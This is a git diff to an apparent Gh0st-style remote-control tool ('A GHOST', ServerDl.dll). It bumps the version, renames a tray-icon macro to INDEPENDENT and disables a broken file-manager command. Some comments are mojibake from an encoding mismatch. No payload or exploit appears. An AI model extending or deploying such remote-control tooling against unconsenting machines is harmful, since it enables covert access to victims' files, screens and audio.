diff --git a/ReadMe.txt b/ReadMe.txt index 6aa4627..877e252 100644 --- a/ReadMe.txt +++ b/ReadMe.txt @@ -159,3 +159,7 @@ 2019.2.4 清理垃圾注释、整理不良排版,对代码略有改动。 + +遗留问题:文件管理功能无效、主控端随机崩溃。因此有必要将文件管理的功能屏蔽。 + +发布V1.0.0.4。 diff --git a/client/Script.rc b/client/Script.rc index 3afa1ee..04ca3ec 100644 --- a/client/Script.rc +++ b/client/Script.rc @@ -87,7 +87,7 @@ IDR_WAVE WAVE "Res\\msg.wav" // VS_VERSION_INFO VERSIONINFO - FILEVERSION 1,0,0,3 + FILEVERSION 1,0,0,4 PRODUCTVERSION 1,0,0,1 FILEFLAGSMASK 0x3fL #ifdef _DEBUG @@ -105,7 +105,7 @@ BEGIN BEGIN VALUE "CompanyName", "FUCK THE UNIVERSE" VALUE "FileDescription", "A GHOST" - VALUE "FileVersion", "1.0.0.3" + VALUE "FileVersion", "1.0.0.4" VALUE "InternalName", "ServerDl.dll" VALUE "LegalCopyright", "Copyright (C) 2019-2025" VALUE "OriginalFilename", "ServerDl.dll" diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 04f38f0..69e0dee 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index bf1a163..1ff8500 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -232,7 +232,7 @@ VOID CMy2015RemoteDlg::CreatStatusBar() VOID CMy2015RemoteDlg::CreateNotifyBar() { -#if SHOW_NOTIFY +#if INDEPENDENT m_Nid.cbSize = sizeof(NOTIFYICONDATA); //Сֵ m_Nid.hWnd = m_hWnd; // DZڸCWnd m_Nid.uID = IDR_MAINFRAME; //icon ID @@ -401,7 +401,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog() ListenPort(); -#if !SHOW_NOTIFY +#if !INDEPENDENT ShowWindow(SW_SHOW); #endif @@ -415,7 +415,7 @@ void CMy2015RemoteDlg::OnSysCommand(UINT nID, LPARAM lParam) CAboutDlg dlgAbout; dlgAbout.DoModal(); } -#if !SHOW_NOTIFY +#if !INDEPENDENT else if(nID == SC_CLOSE || nID == SC_MINIMIZE) { ShowWindow(SW_HIDE); @@ -535,7 +535,7 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent) void CMy2015RemoteDlg::OnClose() { -#if SHOW_NOTIFY +#if INDEPENDENT Shell_NotifyIcon(NIM_DELETE, &m_Nid); #endif @@ -670,8 +670,13 @@ VOID CMy2015RemoteDlg::OnOnlineDesktopManager() VOID CMy2015RemoteDlg::OnOnlineFileManager() { +#if INDEPENDENT BYTE bToken = COMMAND_LIST_DRIVE; SendSelectedCommand(&bToken, sizeof(BYTE)); +#else + if(m_CList_Online.GetFirstSelectedItemPosition()) + ShowMessage(FALSE, "˹ͣʹ"); +#endif } VOID CMy2015RemoteDlg::OnOnlineAudioManager() diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 2509186..31b7fad 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -9,8 +9,8 @@ ////////////////////////////////////////////////////////////////////////// // Ϊʹ -// Ƿʾ -#define SHOW_NOTIFY 1 + +#define INDEPENDENT 1 ////////////////////////////////////////////////////////////////////////// @@ -70,7 +70,7 @@ class CMy2015RemoteDlg : public CDialogEx CStatusBar m_StatusBar; //״̬ CTrueColorToolBar m_ToolBar; -#if SHOW_NOTIFY +#if INDEPENDENT NOTIFYICONDATA m_Nid; #endif CRITICAL_SECTION m_cs;